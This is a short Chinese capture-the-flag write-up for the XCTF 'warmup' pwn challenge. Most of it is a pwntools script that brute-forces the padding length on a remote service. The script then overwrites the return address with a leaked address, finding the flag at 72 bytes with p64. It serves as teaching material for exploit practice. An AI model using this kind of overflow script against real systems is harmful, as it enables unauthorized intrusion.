攻防世界PWN进阶区(warmup)

warmup

攻防世界PWN进阶区(warmup)_第1张图片
这是一个没有附件的题,看起来题目是要求我们fuzz

nc连接上后可以发现有个输入点,并且还给了我们一个十六进制数,看起来是个地址
在这里插入图片描述
那首先根据这些我们可以先将fuzz函数写出来,分三种情况(不用他给的地址,用p32发送,用p64送)

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

然后就可以写我们的exp了

from pwn import *
#context.log_level = 'debug'
addr = 0x40060d

def fuzz(r, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    r.recvuntil(">")
    r.sendline(payload)

def main():
    for i in range(1000):
        print(i)
        for j in range(3):
            try:
                r = remote("111.198.29.45", 46588)
                fuzz(r, i, j)
                text = r.recv()
                print('text.len='+str(len(text))+'text='+text)
                print('num='+str(i)+' flag='+str(j))
                r.interactive()
            except:
                r.close()

if __name__ == '__main__':
    main()

结果如下
攻防世界PWN进阶区(warmup)_第2张图片
可以看到当num等于72,flag等于2,也就是说将题目给我们的地址以p64发送的时候会直接返回我们需要的答案

ok完结,简单的fuzz,有不清楚的可以留言讨论

最后放一下我的博客(www.sailingplace.cn),有兴趣的可以来看看

你可能感兴趣的:(pwn,攻防世界)